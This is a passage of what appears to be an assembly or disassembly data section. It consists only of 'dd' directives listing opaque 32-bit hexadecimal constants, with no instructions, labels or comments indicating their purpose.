		dd 0B0BC2067h, 308E2896h, 3DC099C8h, 0B2606272h, 962C9E98h
		dd 6FAC5690h, 2F9D01E4h, 0A5526639h, 5AAAD9F0h,	40F0C5BCh
		dd 2B0B5DE0h, 74B269FBh, 3D87672Fh, 7D7300C8h, 8581C533h
		dd 2525132Ch, 0EE120F00h, 98F6B98Dh, 0E57E5Ch, 403833E7h
		dd 0C10D90E6h, 0ED6B9114h, 8CB4AC70h, 8C71CD00h, 0C2BE6CD5h
		dd 0D7E21647h, 88A8D7FAh, 467480A6h, 86D00087h,	9B2FF023h
		dd 0F998129Dh, 8C8906Dh, 0FD40685Ch, 1CD72CA0h,	0CC73495Ch
		dd 241BAF58h, 12FC7E7Fh, 47A083A5h, 0A104A0C5h,	0F71D2217h
		dd 7036EC0Bh, 0F24A0508h, 0B64086AFh, 1993B0B4h, 0DCF7456Fh
		dd 0A400C158h, 43C912E5h, 0F279A0E9h, 6BF100D0h, 0F37C7E2Eh
		dd 0ACECFEBCh, 0A2499B00h, 71B002B1h, 44DCA767h, 737860B1h
		dd 0CFE80169h, 3A77EB50h, 30053E30h, 48F44F38h,	8EE4B43Dh
		dd 9390AD3Ah, 390FE06Bh, 3D0492E4h, 5A8F824h, 0F2547CB8h
		dd 0C4004E9h, 80C0BE60h, 0EA3530F9h, 0E31FC1E5h, 8B2F86EBh
		dd 0D99C5990h, 774418B5h, 0E77C12EBh, 0EE989060h, 3502993Ah
		dd 10620A4Ch, 4920FEFh,	0B8B4C8h, 0B728385Dh, 56AA02F6h
		dd 0A45C2BDDh, 44528462h, 4C695D68h, 7B7465Ch, 8B84818Eh
		dd 600452D9h, 0A9E98911h, 0AA2F67F1h, 7BB44A87h, 0CBA87038h
		dd 33940100h, 0DB3CAF18h, 0D7452C23h, 98618074h, 7C83842Fh
		dd 0CD7C03E2h, 4674CCB4h, 28DD0002h, 0EA8E5947h, 0FAA30A52h
		dd 40B85F43h, 0A56A744Eh, 0C9EEF71Ch, 11B897A7h, 0A56E80B4h
		dd 2E51E4Eh, 6209CBC8h,	0DC99DC30h, 3C113B86h, 70AC60h
		dd 0F2D8E931h, 0DD8D2408h, 10846B58h, 1450D918h, 0B40321E0h
		dd 0E7815E0Bh, 60F064BCh, 3B47E12Bh, 5F0FADCCh,	0FC402E01h
		dd 0C724EA4h, 0FA5B0376h, 0F1844C8Eh, 0FCC330EDh, 542338A6h
		dd 460400CBh, 5C1B2B88h, 52F44938h, 0EC7832CCh,	377060B9h
		dd 8F83019Ah, 99746A60h, 0F2486240h, 991D300Eh,	37D9EB00h
		dd 88CC4382h, 92EE17DBh, 0BE7C3032h, 0AC003765h, 2985E63Dh
		dd 9FD06F8h, 0E4DC72CCh, 35B7DCD8h, 0DA8887DCh,	0AA6C057h
		dd 6700F741h, 1A266B2Dh, 60F4FC77h, 0BBB8104h, 0B87B3A7Ch
		dd 641CB0B7h, 0E6CF3874h, 40F9AE9Ch, 7AF4BA12h,	3E0BBD16h
		dd 4D56E783h, 0CA16038h, 831F642Ch, 89B0DE6Ch, 5D60502h
		dd 9F2409D2h, 8A82EB55h, 0BCC4D0D8h, 6301D60Ch,	8CB8359Ah
		dd 242775D7h, 10902B4Eh, 0DFC0ECE8h, 17B7F592h,	6C77FEE0h
		dd 0A7883B13h, 288188Fh, 8DD13BC0h, 0B7D60057h,	0C69A6197h
		dd 203387Bh, 4841DDA4h,	0A73105BBh, 0E8D05480h,	88F226ACh
		dd 7C70C4B9h, 2C00BF62h, 34817F0Ch, 91E41D9Dh, 7A998081h
		dd 20EF420h, 0D581795h,	60D4BD25h, 9F0467Ch, 80470EF2h
		dd 2E878AABh, 96CF0023h, 19A4BB93h, 0A1C0F124h,	7CAD04B5h
		dd 60E6010Bh, 0A4F8DF36h, 86306025h, 0F9E0C18Ah, 2B4AE84Ah
		dd 0EDF610ACh, 118C1C1h, 6BE9C362h, 0DC003BD7h,	169C1FA9h
		dd 20109DFAh, 0EC002F25h, 64CB3B6Ah, 320338h, 36F631B7h
		dd 7BCF87E9h, 94692F2Eh, 8343D41Ch, 0F8ABBB4Fh,	0B7E1D9DBh
		dd 33830035h, 0E8EA8D21h, 79A10F3h, 247AA3E3h, 0E0CA9B55h
		dd 624050FEh, 1DF34Ch, 74BF2E05h, 8935BE5Ah, 0D2F1F702h
		dd 4272430Ah, 4D980BF8h, 0FBC3E088h, 0F602DF28h, 0E4770552h
		dd 6F1A0058h, 7A0EF7A1h, 845DBD0Ah, 10D50986h, 36E1E8F6h
		dd 6D1DFC8Dh, 93CB25Ch,	0B0A77E18h, 9A727C08h, 2037BF58h
		dd 0CD477C80h, 518FD677h, 0B448FC20h, 5C6C10B8h, 0F0411Bh
		dd 71A1BB2Ch, 74B9AC04h, 0C498D6B0h, 0B8C1D417h, 3101E823h
		dd 3377B446h, 48B0187Ch, 5B054636h, 7F0E90E5h, 0CC83CDAh
		dd 485AB5C1h, 9772FEE8h, 84AACC22h, 0D05AB044h,	80FF7040h
		dd 13C1167Ch, 9EF44B41h, 5009C3ECh, 0CEB18057h,	0D59B044Ah
		dd 0AD19A728h, 3EFEB898h, 0F20B3DA1h, 0B2B24Eh,	0F0AD8084h
		dd 0B8027C4Ch, 0F3600464h, 0E40065A4h, 6E9260F4h, 4F27014Dh
		dd 0A86A7794h, 94132AF9h, 6A7FFC29h, 84CB0020h,	5C0814A7h
		dd 2EF917C4h, 5E004093h, 4632A9F0h, 0FAD9401h, 0C6F387E6h
		dd 289DC9F9h, 6C5704A4h, 3AE0C90Bh, 1774846Eh, 0BC588E8Fh
		dd 195023Ah, 0F6B9B30Ch, 0A674053Ch, 60B88Ch, 1830AD71h
		dd 40FA2C5h, 0D4C163B4h, 844881FCh, 688881F9h, 0F386AA77h
		dd 0DE244B6Ah, 0D8386C72h, 0E45AC79h, 0E1376800h, 0EA175648h
		dd 71041409h, 9B4ED8D5h
		dd 7B5680B8h, 0FCB1F2h,	4AF05F9Eh, 8E18543Eh, 0C885FD24h
		dd 887F0D82h, 76D854F2h, 48028446h, 0C85CAB27h,	8DCD344Bh
		dd 5063ECh, 1E4193BFh, 0AAFF2156h, 5000C5E8h, 21007182h
		dd 9D3E63A3h, 9049A28Dh, 30EC4DCCh, 31F7D018h, 2C00BA43h
		dd 0F44DCEABh, 437FEEBh, 350B9F87h, 2A44C863h, 6082E487h
		dd 1F51A25h, 0B88613E3h, 81F61BAAh, 80346241h, 0B2E5CBC5h
		dd 0E1CD2F2h, 0FE04765Ch, 69B92740h, 0F63B6121h, 7C1B008Fh
		dd 0D3F86396h, 646B021Ch, 454E26AEh, 720950ECh,	61D89C6Ah
		dd 26DCA2F4h, 2507056Fh, 0F8DF3CA9h, 42A01E10h,	0C09E84D3h
		dd 0B02560C0h, 8B6220FDh, 0DA7EAA19h, 3A701268h, 168C758h
		dd 80F6647Fh, 87C9EEA0h, 4A75D045h, 0BD188588h,	0B2ACE0h
		dd 0B56EDD47h, 9A0B0E11h, 2139AA00h, 0B93CBE40h, 0BD8A13F7h
		dd 43B8E0DEh, 41F2D530h, 19EF40h, 0DDD29C3h, 1C61E3D4h
		dd 78476825h, 72A940CCh, 4088622Dh, 34A898C4h, 0E840BAD1h
		dd 8CBEEC3Ch, 978ADF00h, 9DB48648h, 541E138Eh, 2844F144h
		dd 43EABC48h, 0F29500EDh, 0AE9BC5F4h, 0F9609D8h, 0D81057h
		dd 5CC47C5Eh, 0BC88E8CFh, 0E8060C0h, 0BE96021Ah, 0A53319CBh
		dd 2BA118C1h, 54A0E0C0h, 289748F0h, 0D0D57316h,	45C59E98h
		dd 7B114200h, 3F644D76h, 1F917E5Ch, 926FCA52h, 291C04F7h
		dd 0A39B4185h, 95DA7742h, 80B09154h, 0CE0BFBADh, 832501C7h
		dd 685729EAh, 78203061h, 44427427h, 24FA16D8h, 7856BDh
		dd 0FEC36BE0h, 0C327885h, 0C228D93Dh, 61C4C005h, 0CD455E93h
		dd 146A3BD0h, 97720D04h, 0A8C1AA69h, 9C4142B3h,	0FE009204h
		dd 0EE269B26h, 46743002h, 0CEDB0780h, 0E497D9D7h, 0F4EC54A2h
		dd 54CD4970h, 362D01C1h, 9DBB0C0h, 1DE62375h, 68ACE07Bh
		dd 0DA8700D6h, 95EEB22Ah, 6D057B90h, 6B3C7520h,	38A3ADC4h
		dd 0AB30F1A2h, 23020252h, 40DA0392h, 465C3454h,	8A6D000Dh
		dd 85EF498Fh, 0BDDE7C32h, 0F9E96890h, 0D8C8744Bh, 0F5C3200Ch
		dd 5FD7A90Bh, 6270D980h, 0A8001A8Bh, 8F859C54h,	0D0302A2Ch
		dd 4D6597A3h, 9B00382Ch, 4A2B2DA0h, 0E4E0BE4h, 984630C1h
		dd 6BA99920h, 0E86510A6h, 3A600CE4h, 1709828Ah,	7C7072B8h
		dd 110E0394h, 0BD7C808h, 0BF643867h, 0C0559562h, 785269h
		dd 8E4FAA23h, 3D3AFE2Ah, 8CED0200h, 64F8E7B0h, 48E83C8Ah
		dd 6D406600h, 0C2C10F5h, 9098133h, 0C6210B85h, 0D5806D37h
		dd 0D49EE071h, 4B33ED18h, 722DAF32h, 0F2E0086h,	45647C65h
		dd 397EE88Ch, 48E7D019h, 4218DE71h, 10EB6D08h, 407EC45Ch
		dd 296D39CCh, 0DD1006E3h, 184030E9h, 0C4E863Ah,	11EC31FCh
		dd 0CFE00F08h, 202370C1h, 930698Ah, 0F8282101h,	0A2D100CFh
		dd 0DA4D5E68h, 0FB060271h, 8982F0C3h, 6F771B71h, 40C0302Bh
		dd 19C06966h, 831B9D11h, 1CE952CDh, 31308622h, 0CBDF69F4h
		dd 45060054h, 0C1AF114Eh, 150C01B3h, 402F2B85h,	0B68C0CD2h
		dd 28692DCFh, 414AF500h, 0EC6A40B3h, 2009C6ABh,	800208Dh
		dd 4F44AFDh, 14D69E79h,	4C8FBA39h, 58B77D08h, 872FAB01h
		dd 88F049E3h, 5E0F3085h, 42B8CE18h, 6A7F740Ah, 9205D084h
		dd 0CC08ED4Ah, 60E164DFh, 7AEC6D43h, 7C448C10h,	6D3A00CFh
		dd 4922C1DEh, 0FB2E88B2h, 0F209B5EFh, 374A0081h, 25BFCE8h
		dd 10EDE028h, 0A2C30CECh, 0DD664AC0h, 0DB3CEB50h, 6D41048Ch
		dd 623410F6h, 38C9207Dh, 0C505C46Dh, 59A089F2h,	0C0BDA848h
		dd 0B3424AEAh, 916E1821h, 0F1EF011Eh, 4EC6314Ah, 0DC53FDCDh
		dd 98EBAB42h, 6E5338h, 91097E71h, 0FB28D7C0h, 0D7FBD00h
		dd 0A716267Ch, 0A495509Ah, 0CC190062h, 3789E6BBh, 8929050h
		dd 0A6C32C01h, 0BC605E5h, 0CCCE0DDCh, 4F213608h, 74A6BB00h
		dd 6F7C91D4h, 4B3C3F97h, 0F85EA900h, 0E7B3757Eh, 1F8CDD56h
		dd 10896D3Fh, 941C44h, 0A86D36CBh, 1954D84Fh, 8F7D9109h
		dd 82000330h, 54794283h, 833029E2h, 0C5E2D1h, 182A786Dh
		dd 0D612B0A7h, 293C5033h, 11C1F824h, 0D8B70320h, 60DFF114h
		dd 374261C0h, 0D0D1B509h, 0C41000EEh, 39CB6D6Eh, 1D1FC12Ah
		dd 4C2C9549h, 0C90B4AACh, 801CEAEDh, 14343677h,	2E6D2477h
		dd 0C478B104h, 68C40717h, 243EC88h, 0ABC79EE3h,	0D60C3C2h
		dd 0C0487314h, 8C27E824h, 44881603h, 39D8ED1h, 0CAC158C6h
		dd 1DE11164h, 7DAE4FBh,	1F89C3Bh, 8CC47E2h, 1893C1F7h
		dd 6F6101CAh, 4B76C446h, 0C21F8840h, 0AC40630Dh, 8E039022h
		dd 421A5E5Dh, 0A27FD08Ch, 7C54907Ch, 0CF12F407h, 0D9279F19h
		dd 11BCCA2Ch, 0A6A7803Bh, 432605E9h, 38220Ch, 3EA6BF43h
		dd 0ECA2753Ah, 0FA48E1Fh, 4A89DC00h, 642F9CB5h,	63BFC859h
		dd 0B348F8ECh, 21448C08h, 4AF304F1h, 80029D87h,	0E595BB59h
		dd 0F394804h, 7080E66Ah, 416EACh, 0E8C15C3Ch, 39C212E2h
		dd 808BB924h, 0CB3FBC82h, 8C64D6h, 0D339A713h, 8150A69Fh
		dd 0F4F92E24h, 72849180h, 0ED4BD11h, 0AA3E7CECh, 7E5F9D40h
		dd 190A8823h, 9C75C687h, 0DAAFEA00h, 5689E74Ah,	0C402943Ah
		dd 1E05E6A6h, 42102931h, 1375A6BCh, 0C22A4400h,	0D072ACE2h
		dd 6D1009EFh, 0CC043DA3h, 0CBF48415h, 0C085C888h, 0BB679A73h
		dd 31CE6B00h, 0D0BA865Bh, 0DBB8A830h, 0A8D200C6h, 0D42188AFh
		dd 60A5E6E0h, 5B604064h, 0DA246506h, 0F001C29h,	3B0E3C60h
		dd 11C0B12Bh, 0CFE980F3h, 8CC470A6h, 1C2B0544h,	53CFE1h
		dd 0D25EB44Fh, 5D095A42h, 9984836Ch, 0C5183D50h, 5E7A608h
		dd 4437C4B6h, 0F500BD41h, 0C06BADEh, 0CE976900h, 0AD7307CAh
		dd 1F890FCDh, 0DFA53C63h, 235C3A48h, 13460004h,	97892857h
		dd 0F1BE602h, 2A82C8F3h, 0BA608B0h, 75B44A00h, 7E3E9B76h
		dd 20B4B293h, 7109E964h, 921AB85h, 50500200h, 7A870014h
		dd 10B9332Bh, 991825F1h, 0AA48CD00h, 0BE9E9093h, 0A29F1218h
		dd 98641469h, 27E5D800h, 0FD484F4Bh, 0E30480ACh, 0F470C0CFh
		dd 2920FB62h, 464CFDBh,	76DE052Dh, 3980C86Bh, 4C7F0124h
		dd 31F62E8Ch, 0C7CC3E21h, 0D438C880h, 0D597ECE2h, 78B7D70Eh
		dd 0E65D408Fh, 3E72980Dh, 240CB923h, 25184FCh, 0A0A8705Ch
		dd 908D7F80h, 6BF900ADh, 0C7DABFBCh, 21D4FC30h,	906618B2h
		dd 0F0715C39h, 0B25A001Ah, 496F3BABh, 123ACCB5h, 0B37417A7h
		dd 8023742Fh, 0F53CA500h, 5DEAF6Fh, 64B933A8h, 4FDC01ECh
		dd 267F6Ah, 50F43425h, 8CBBE05Fh, 444AF80Eh, 646DC8B3h
		dd 0FFED4022h, 2A6A94Ah, 0A2385FD2h, 70802E59h,	0D086EA3h
		dd 40F29200h, 27521DC4h, 0E84C015Ah, 58C38DAEh,	739DC413h
		dd 0E6888F62h, 76B2E007h, 0FAD801A1h, 8A650DF9h, 0B850201Fh
		dd 0F3583161h, 0BC2553AFh, 31A20433h, 0C4177730h, 58BB78h
		dd 0D04492ABh, 871506D4h, 18328F6Ah, 24D20D1Dh,	131E9828h
		dd 0EC0D49DBh, 82810FCh, 8C7FBCh, 8A695E71h, 0FA4A5D08h
		dd 0CE6C4159h, 0F879CA07h, 465C30AEh, 3152007Fh, 10FD1478h
		dd 87DB2A7Dh, 306458ACh, 2BEDA280h, 3D905672h, 0B7530D00h
		dd 710779D3h, 764124AFh, 0A7ED00BCh, 8F328766h,	778C10C1h
		dd 0C25EF6Ch, 30B81442h, 3F114AF7h, 1E88F0B3h, 4AFEEA80h
		dd 260E7250h, 64C49E31h, 0CFE660F2h, 0BC7023A7h, 2A00FC11h
		dd 6F1BCFDEh, 0D850FE7Fh, 27250898h, 11A8974Fh,	1E18FFAh
		dd 0E7103BEDh, 160419ACh, 719C049Dh, 0EF349181h, 0E2F03388h
		dd 74BB3029h, 23D05700h
		dd 0D782CF75h, 9D890B2Dh, 0A4212EE7h, 736C768Ch, 78062EF0h
		dd 375403Eh, 312F04A7h,	0F589052Eh, 38189618h, 221409h
		dd 716A2812h, 20864987h, 1AB2F03Ah, 0CCE7E8D1h,	68602444h
		dd 7200BE25h, 0F565A3DDh, 24C9B353h, 37C0E20h, 8E137511h
		dd 5CCC004h, 6CE3E86Dh,	0DD31FCE2h, 0A9E7430h, 3D53AC12h
		dd 0B4A8A0h, 4CE03E9Fh,	9BAD918h, 225B71Fh, 79AD5581h
		dd 6060CF88h, 0B94D1A9Ch, 0B8C83981h, 0F373C3Dh, 7F5169EAh
		dd 0F0387BFAh, 35ED4E05h, 0BCBC08CCh, 24CA1385h, 0A5156891h
		dd 18CCFBD8h, 598753E9h, 4D00CE28h, 0B93D982Bh,	255B136Eh
		dd 0D8102FA1h, 878004F4h, 3810C4D0h, 6EBF0006h,	137620E4h
		dd 80D4AD6Fh, 295C3BD8h, 518A2B0Fh, 19DC8D6Eh, 80CDF12Fh
		dd 5FE9E6B9h, 32B3AC46h, 0B051BD01h, 7C71B059h,	0C5160218h
		dd 40041540h, 3A133EAFh, 1C0523A8h, 356640BBh, 9F9C62D3h
		dd 0F0995831h, 900F8C0h, 931F88D2h, 0CD1354CEh,	8C75643Ah
		dd 273B48h, 10C5E92Eh, 0A07E3DAFh, 938D67E0h, 80FF1138h
		dd 70C2CFE5h, 0FD448CE4h, 8BDD5827h, 0F4171D25h, 0FC802391h
		dd 464206Ch, 5F3B2A17h,	2A010D0Eh, 467CCCF5h, 0F517707Dh
		dd 0C820B0F2h, 58650525h, 383C0C2Bh, 70049D8h, 6EA653AEh
		dd 3A020840h, 8E05CB46h, 44D8C70Ch, 0F94F631Ch,	89809265h
		dd 2837F2CFh, 781DE2B6h, 0CB413FB8h, 33ED058Dh,	0E7D04903h
		dd 0B709F189h, 602D7229h, 26AF75C0h, 1D5030AEh,	59630F0Dh
		dd 8866B082h, 27A598C0h, 0B800E49Eh, 0FBF2BBFCh, 79786065h
		dd 45E179F9h, 83210300h, 4C5A4E5h, 0FF22005Ch, 3F595344h
		dd 0F94DFCE0h, 0CE245010h, 4F9B0713h, 0C038C848h, 5E0A6BEh
		dd 0B82CCE4Ah, 0A6B6004Ch, 127CB97Dh, 6120C455h, 692502D1h
		dd 0FAD0B249h, 0A1B6E480h, 57003686h, 4B9E93Ch,	0B045A781h
		dd 845D51D4h, 0C03C90FAh, 5E213A6h, 798CBBEh, 0F6A6B84Eh
		dd 982A5270h, 177A05F2h, 28E0287h, 0A10C8BA4h, 0F06F04E9h
		dd 18C290CAh, 50F03765h, 45E94450h, 0F599AB0Fh,	3816B2D0h
		dd 0DE38106Eh, 8FBED401h, 28247265h, 49B52EFCh,	7C22A517h
		dd 196C5178h, 637781A2h, 5445054h, 5048CD59h, 48CF1C4h
		dd 70C4CFE7h, 0FCCED4h,	63CFDF2Dh, 4B8D4D66h, 1E444589h
		dd 1F841331h, 84799468h, 0F8430C75h, 0E629B3AFh, 0D6689Ch
		dd 75323C08h, 38946824h, 0A1B83E00h, 2E5D876Ch,	1070B931h
		dd 8C25FCF7h, 0B5431300h, 4174BEF7h, 9F0E0A2Eh,	96E87F56h
		dd 0DF58C8CBh, 6D45058Ch, 385410EAh, 3C01CDDCh,	3DD3696Dh
		dd 18F8C3EBh, 0A4489050h, 61A23F0Ch, 5338260Bh,	50406C4Ah
		dd 21671E0h, 0F8CCCFDAh, 0B7E10413h, 0A0192CA9h, 5F2D9D6Ch
		dd 0AFC4B887h, 3C650C73h, 6F69E613h, 0A5933B2Dh, 683BF1C0h
		dd 8008523h, 0E76176DEh, 8062019Fh, 0B33B24ABh,	8F10C1A9h
		dd 0CAE2C498h, 0E692A08Eh, 2923BC2Fh, 40509A07h, 0D72B017Eh
		dd 60E2FF51h, 8833BF4Ch, 70A80A3Bh, 0A915FD42h,	0FC39CFh
		dd 10F034B1h, 2307B4h, 0A287665Ah, 4971EC80h, 0EAE33704h
		dd 7CE277A8h, 9F3123F2h, 85D54487h, 76659199h, 0D1802030h
		dd 53E96763h, 0B3D10039h, 20B57B70h, 0C00505DDh, 0FD8375AEh
		dd 84DB1CC4h, 0B50B8BC0h, 594A2F96h, 6400E86Eh,	68AC4253h
		dd 0B907F556h, 6507BBCBh, 0E1E440DBh, 41D21239h, 88F48B4Fh
		dd 0C9EAC1FFh, 3841E40Ah, 71353102h, 0F3596BA5h, 12EC0F0Ch
		dd 18271786h, 192C66F4h, 2C3E7587h, 4674F4A7h, 431E0025h
		dd 7384198Eh, 710609A0h, 0CCA0BDB7h, 35ED31CDh,	0EBCCC912h
		dd 47AC540Bh, 603664B4h, 4DB896h, 775AFB24h, 10C3AB4Ah
		dd 37154B2Fh, 8FFB80A4h, 90CD4D82h, 22400FEEh, 9F081D9Dh
		dd 2FE71639h, 33239Ch, 42FA7A9h, 155C8DDEh, 0CAF041C9h
		dd 77878871h, 0E5BE439Bh, 6888FB08h, 6066417Eh,	1660AA6Bh
		dd 62489838h, 0FB3A0A19h, 92A418D1h, 41201FA7h,	0E8ADF2A9h
		dd 250C628Bh, 0F388853Ah, 0FC7D30F1h, 2001DB8h,	0AD2EC2Ah
		dd 0C23FC1Eh, 8103864Ah, 0A22F0608h, 43C0229Fh,	4638D008h
		dd 0CFE202FEh, 0C7DC70C3h, 126136Ch, 50A8C5B6h,	0F0D06681h
		dd 14F36F37h, 0A4980E57h, 1E215213h, 9D12C225h,	0E88A3403h
		dd 423BF610h, 18218104h, 3FEB8571h, 0A479E002h,	3C183679h
		dd 515C9D00h, 3A754BB3h, 3E2705E9h, 9008B0F8h, 2F280DD8h
		dd 95C65B05h, 0B04231A1h, 58B4C9B3h, 0A90B1368h, 23F03A48h
		dd 9741340h, 102BFA9Ch,	3D229849h, 45EC30h, 689BAB4Bh
		dd 40B8CE9Ch, 465E9496h, 139202FDh, 0C8ACD1B5h,	58A69C68h
		dd 0CA25382Ch, 0FB11609Fh, 5EBBB380h, 0A55C1101h, 2AE04158h
		dd 989A6460h, 0D00802E3h, 3EA879A3h, 20791459h,	0E100AC18h
		dd 0B5D11FF8h, 0C30C58C9h, 7F70BF60h, 34F86BA2h, 23B4724Dh
		dd 4AEB01BCh, 3C10B343h, 0F2EEB034h, 26E21F4Ah,	3553C037h
		dd 39B5D4C6h, 88540F5Bh, 2DAF1050h, 8E51070Bh, 2A0C6CA2h
		dd 0FAF188F1h, 630D9A18h, 697B6665h, 0A10CEDD4h, 0F5E0E4A4h
		dd 0B38000DDh, 0FB5FAE8Ah, 5B782179h, 0F11CD114h, 0F3311880h
		dd 5A9F7151h, 790006Ah,	27F744Ah, 4B119EFBh, 0F3C6005h
		dd 9E0930A3h, 0A8726A4Eh, 992C93FAh, 4674541Eh,	0B5A3051Ch
		dd 0C0DBB3CCh, 0FEC38780h, 6005DDB7h, 0A6124119h, 0BCF16FD5h
		dd 0DB890CEh, 0F6F09E0Bh, 344B472Eh, 0AC275B3Ch, 9A859787h
		dd 403A0816h, 7B001F23h, 0E212F333h, 3C8B58E6h,	0C68717C3h
		dd 10BC01CCh, 4438BF85h, 9ACB3900h, 70B29F6Eh, 155D20C5h
		dd 73382FC6h, 95AD3969h, 3497EC25h, 5A873291h, 71A1C046h
		dd 39FEFE1Dh, 0BC84042Ah, 5D046EFEh, 0CD66526h,	534958C0h
		dd 6B41C088h, 0DE3B7F9Bh, 1D7A1C03h, 0F0F63368h, 4B5CCE44h
		dd 80349BE2h, 5503C324h, 8E200216h, 0B3D6E3F2h,	1D6985Eh
		dd 0B3F54F1Ch, 4F7C0B1h, 30DA70C2h, 10FC6D3Eh, 0EC2C3C4Fh
		dd 6D3500C8h, 41DDD727h, 0A30080CCh, 0A5213EDh,	60F50133h
		dd 9D6B5818h, 0D8A23A43h, 25445C47h, 332EAE60h,	0D092F900h
		dd 4DA38A0Fh, 2B67666h,	0E8A1F253h, 0E8D9E749h,	60183171h
		dd 6D70EF0Bh, 0B59CE19Bh, 3B85C0CFh, 5510CB35h,	4C5E4462h
		dd 854676h, 5334B357h, 1E0AD94h, 371DAA6Eh, 6C8B0639h
		dd 14ECC170h, 9444A36Dh, 27BC24BDh, 111BC503h, 4C883B7Dh
		dd 410CC48h, 6EF600FBh,	35B9FD58h, 37884453h, 193EE400h
		dd 26A22D22h, 926400F7h, 3FC05D39h, 809E2B8h, 9E583CBh
		dd 0E48C4534h, 0F416027h, 11F72D5h, 0F6C9ABEDh,	0F55D0657h
		dd 3ED4242Ah, 7029B60Ah, 4E16E418h, 8C70D02Fh, 0A8ABEB00h
		dd 0AF725B61h, 319A1221h, 23B43A2Eh, 0E5630132h, 0BC1AD184h
		dd 0C03626C9h, 6AAA9900h, 2845E226h, 3BA9D846h,	0B0059583h
		dd 0CE2FA80Ah, 0C54088BCh, 527CC17Ch, 7FF1001Dh, 2CD6138Ah
		dd 0F6D0082Eh, 0A006E88Fh, 16D36196h, 5008075Ch, 30416A6Fh
		dd 0E8E5671Ah, 0A1A8EC00h, 0EA2760EFh, 93BE5CBh, 9C82FE78h
		dd 2A0E2B83h, 4676B4E6h, 3EB903FEh, 0E084E3F3h,	335D07CDh
		dd 37B828E6h, 0C82DA226h, 5786208h, 0A34DA6EDh,	3029A2F0h
		dd 40F4EC9h, 80DC06EBh,	767EDF1Eh, 96EC9472h, 0E9E408FDh
		dd 0F37A8702h, 0C440C733h, 60066024h, 74690F8Bh, 0D70FE7D8h
		dd 609364ABh, 4D3BFEC8h, 3ED9DD01h, 35D18B5Eh, 4B256180h
		dd 620F12C3h, 0E2036400h
		dd 0B542F4C9h, 0DC5EB1h, 0A774A9A4h, 304904B6h,	139234Ch
		dd 5E3A6C1h, 0B03C6CD6h, 0A6B94Dh, 0F7450A77h, 47A9E3BEh
		dd 9C737F02h, 5E804946h, 18EB5EE0h, 9006009Ch, 74445D52h
		dd 89501A87h, 0D1225DCh, 68B03861h, 0DBD520AFh,	465E9CBEh
		dd 0FFB83A33h, 0A7539C17h, 0FA644449h, 68C50974h, 0D8295C57h
		dd 0DD70107Bh, 51116F3Bh, 7C9C698Bh, 2B400C7Ch,	9520C86Fh
		dd 947E207h, 2480616Bh,	0AD142C09h, 0EBEE30C2h,	1221EA38h
		dd 0C4037D0h, 0E3CBE205h, 744F0059h, 0FFB2173Eh, 70AB456h
		dd 0B02FA665h, 6FAB4201h, 2C72E989h, 0C0C1B713h, 0CE658550h
		dd 4900C09Eh, 6D767735h, 135C92A5h, 83C4AA13h, 0C9D80BB8h
		dd 48C2D19Dh, 590F0A3Bh, 18FEF14Ch, 0F87D043Ch,	0C0E3A873h
		dd 0D4CE9C50h, 8AB5D9C1h, 38456A4Eh, 103324B5h,	3C3022A2h
		dd 0EA7F0092h, 10AD9FA2h, 84B2A76Dh, 0F460532Ah, 0B9E03CADh
		dd 24D77E1Ch, 40380D39h, 0BAFB09Dh, 0A9BE9941h,	0DF12E20Bh
		dd 505A461h, 82BC48A8h,	0C572008Ch, 0CA9DE4CDh,	4373F2A6h
		dd 71CBA204h, 28C2404Ah, 83B72094h, 6000ACF9h, 75A80C56h
		dd 99B35Ah, 0EDCB42D5h,	8B490708h, 288BA0D2h, 64C01FC8h
		dd 196CAE6h, 112DA8B5h,	6A8DBF9Dh, 3436C427h, 0BE8A0051h
		dd 0DF83F715h, 0BF00A0C5h, 3E7E5E3Ah, 13F38DD0h, 0F389FFACh
		dd 3037B2DCh, 673E06D2h, 8510958h, 1D70C6F7h, 32E79D8Bh
		dd 8454F898h, 3BA03725h, 7BCBCE80h, 8B0753A4h, 5889DC80h
		dd 0AE80E4D0h, 8137831Dh, 9B45560Eh, 12676091h,	0EC902B7h
		dd 0A77F5DD0h, 60E5D8A9h, 0DA6133E4h, 0F9AFC5D4h, 0BBC17007h
		dd 38C424A5h, 0C22AD160h, 95E74C03h, 98510BF4h,	0B56BA512h
		dd 3BE6FC80h, 74B1C15Ch, 0D01821D1h, 6E4C43B0h,	68445E84h
		dd 74A78FD6h, 4EDFE3B0h, 0A9DC6303h, 8319FA21h,	45E7E26Fh
		dd 6040E418h, 97063C46h, 7F6FF821h, 88022FA2h, 23F70D3Bh
		dd 0F90036D1h, 64A5FBA0h, 6AEEDBh, 0F22B01C1h, 488BB22Dh
		dd 0F02CD124h, 93CED707h, 0E40465DBh, 856C60FDh, 0DFD70289h
		dd 3E28019Fh, 7369D460h, 33B9BF80h, 2A9138D0h, 34ED21E8h
		dd 0FDF43100h, 9065011Eh, 22351223h, 2E7917B6h,	5322314h
		dd 0A81664AAh, 370DC0A8h, 463475CEh, 0CA7C506Eh, 0E8D8D848h
		dd 50008C33h, 0DD1EC571h, 0F43C0CAh, 0CBC43E53h, 0C308E2C0h
		dd 0BF094A30h, 50BA7F6Eh, 92EA5AECh, 13215594h,	176AFBA5h
		dd 0CE1C8230h, 0D90098E4h, 0DA7B3BBBh, 0B25BF85h, 9E24362Eh
		dd 0CF179859h, 7AC80C8Bh, 0F841FCC5h, 1B0E6505h, 2CE99C60h
		dd 0BAA8E287h, 3AC79E12h, 3A20239Ch, 0E9F66C8Fh, 0A50E3924h
		dd 0C3E88B0Ch, 0E4E46726h, 8A61617Dh, 0A4DBC821h, 0BDB3F405h
		dd 5078AC48h, 4126CCFEh, 22E0696Ch, 7402978Eh, 0C4DC8483h
		dd 940467Ch, 5A0A3C23h,	80E05A58h, 0D2A77170h, 57070892h
		dd 0C2AEF841h, 11E01FCBh, 0E3268040h, 16B5C115h, 0D80BF8C9h
		dd 958678BCh, 0FB915895h, 9487898Eh, 78508BB8h,	4676509Ch
		dd 3DA30024h, 54E103E7h, 0D7750373h, 1C8D1B5h, 68C3B000h
		dd 8EA19A59h, 4B271636h, 6790B4CEh, 630F657Eh, 16157D42h
		dd 88088CD8h, 71C20DD1h, 0D189BA39h, 22A70B40h,	0AFEC7C40h
		dd 0FA5B6800h, 0DB77107h, 0ED18C07Dh, 60886EA8h, 42666527h
		dd 8CC4000h, 0B6F81142h, 0EA706438h, 0BAA71142h, 0C31F3CDCh
		dd 990CE825h, 83E301C7h, 5D08886Fh, 5CFC2C7Eh, 160DE1B8h
		dd 393A5183h, 0B5D9A2D3h, 0D21C6C9Fh, 1FE278F6h, 0EAC80840h
